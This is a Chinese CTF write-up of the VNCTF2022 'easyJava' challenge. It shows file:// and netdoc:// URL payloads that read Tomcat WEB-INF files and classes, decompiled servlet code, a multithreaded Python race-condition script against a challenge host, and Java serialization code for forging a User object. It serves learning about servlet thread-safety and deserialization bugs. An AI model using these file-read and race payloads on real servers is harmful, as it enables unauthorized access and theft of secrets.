#[VNCTF2022公开赛]easyJava[复现]
前言
今天第二道Java题了,加油
提示有/file?并且please input a url
利用上一题的文件泄露,读取WEB-INF/web.xml
发现读取失败了,嗯?

猜测应该是路径有问题
是tomcat
发现可以这样读
后面了解的应该这么读
| 12
 3
 4
 
 | /file?url=file:///usr/local/tomcat/webapps/ROOT/WEB-INF/web.xml/file?url=file:///usr/local/tomcat/webapps/ROOT/WEB-INF/classes
 这里官方给了另外一个协议netdoc,跟file用法是一样的,但是这个netdoc协议在jdk9以后就不能用了
 file?url=netdoc:///usr/local/tomcat/webapps/ROOT/WEB-INF
 
 | 
后面把class文件读出来反编译
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 
 | file?url=netdoc:///usr/local/tomcat/webapps/ROOT/WEB-INF/classescontroller
 entity
 User.class
 servlet
 FileServlet.class
 HelloWorldServlet.class
 util
 Secr3t.class
 SerAndDe.class
 UrlUtil.class
 
 | 
HelloWorldServlet.class
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 
 | package servlet;
 import entity.User;
 import java.io.IOException;
 import java.util.Base64;
 import java.util.Base64.Decoder;
 import javax.servlet.ServletException;
 import javax.servlet.ServletOutputStream;
 import javax.servlet.annotation.WebServlet;
 import javax.servlet.http.HttpServlet;
 import javax.servlet.http.HttpServletRequest;
 import javax.servlet.http.HttpServletResponse;
 import util.Secr3t;
 import util.SerAndDe;
 
 @WebServlet(
 name = "HelloServlet",
 urlPatterns = {"/evi1"}
 )
 public class HelloWorldServlet extends HttpServlet {
 
 private volatile String name = "m4n_q1u_666";
 private volatile String age = "666";
 private volatile String height = "180";
 User user;
 
 
 public void init() throws ServletException {
 this.user = new User(this.name, this.age, this.height);
 }
 
 protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
 String reqName = req.getParameter("name");
 if(reqName != null) {
 this.name = reqName;
 }
 
 if(Secr3t.check(this.name)) {
 this.Response(resp, "no vnctf2022!");
 } else {
 if(Secr3t.check(this.name)) {
 this.Response(resp, "The Key is " + Secr3t.getKey());
 }
 
 }
 }
 
 protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
 String key = req.getParameter("key");
 String text = req.getParameter("base64");
 if(Secr3t.getKey().equals(key) && text != null) {
 Decoder decoder = Base64.getDecoder();
 byte[] textByte = decoder.decode(text);
 User u = (User)SerAndDe.deserialize(textByte);
 if(this.user.equals(u)) {
 this.Response(resp, "Deserialize…… Flag is " + Secr3t.getFlag().toString());
 }
 } else {
 this.Response(resp, "KeyError");
 }
 
 }
 
 private void Response(HttpServletResponse resp, String outStr) throws IOException {
 ServletOutputStream out = resp.getOutputStream();
 out.write(outStr.getBytes());
 out.flush();
 out.close();
 }
 }
 
 
 | 
太长了贴贴中点重点
先来看helloWorldServle.java

会调用Secr3t,去看Secr3t.class

会比较传进去的字符串是不是vnctf2022
奇怪的是在
| 12
 3
 4
 5
 6
 
 | if(Secr3t.check(this.name)) {this.Response(resp, "no vnctf2022!");
 } else {
 if(Secr3t.check(this.name)) {
 this.Response(resp, "The Key is " + Secr3t.getKey());
 }
 
 | 
这里if的条件和else的条件一模一样?也是学习到了这里需要用到条件竞争Servlet的线程安全问题 | Y4tacker’s Blog
Servlet实际上是一个单件,当我们第一次请求某个Servlet时,Servlet容器将会根据web.xml配置文件或者是注解实例化这个Servlet类,之后如果又有新的客户端请求该Servlet时,则一般不会再实例化该Servlet类,这说明了什么呢?简单来说,当多个用户一起访问时,得到的其实是同一个Servlet实例,这样的话,他们对实例的成员变量的修改其实会影响到别人,所以在开发的时候如果没有注意这个问题往往会有一些额安全问题,而往往Servlet的线程安全问题主要是由于实例变量使用不当而引起
条件竞争脚本
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 
 | import requestsimport threading
 
 host = "http://e7a8816c-fda4-4ce3-97d2-c3e302bd2313.node5.buuoj.cn:81/"
 
 
 
 class myThread(threading.Thread):
 def __init__(self, name):
 threading.Thread.__init__(self)
 self.name = name
 
 def run(self):
 print("开始线程:" + self.name)
 runing(self.name)
 print("退出线程:" + self.name)
 
 
 def runing(name):
 while True:
 r = requests.get(host + "/evi1?name=%s" % name)
 r.encoding = "utf-8"
 #print(host + "/evi1?name=%s" % name)
 if r.text.find("The Key is") != -1:
 print(r.text)
 return 0
 
 
 # 创建新线程
 thread1 = myThread("Q1ngchuan")
 thread2 = myThread("vnctf2022")
 
 # 开启新线程
 thread1.start()
 thread2.start()
 thread1.join()
 thread2.join()
 
 
 
 | 
得到Sl9oQbIdNtLQDepEbWV6xnSHzUNIvTPS
继续看到 doPOst方法

看到第一个if
他将text参数进行了base64解码 并且转为了字节流的形式,然后传入SerAndDe.deserialize(),先不去看源码,应该就是一个进行反序列化的操作, 先试着序列化反序列化。用题目自身的代码去执行。
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 
 | import java.*;
 import java.io.ByteArrayOutputStream;
 import java.io.IOException;
 import java.io.ObjectOutputStream;
 import java.util.Base64;
 
 public class Exp {
 public static void main(String[] args) throws IOException {
 User user = new User("Q1ngchuan","18","180");
 ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
 ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
 objectOutputStream.writeObject(user);
 
 byte[] bytes = byteArrayOutputStream.toByteArray();
 Base64.Encoder encoder = Base64.getEncoder();
 String s = encoder.encodeToString(bytes);
 System.out.println(s);
 
 }
 }
 
 
 | 
最后需要注意的是User.java中的height属性是由transient修饰的,是无法序列化的,所以在生成byte的时候需要重写⼀下writeObject,否则会将⾃⼰的User对象的height值为空。
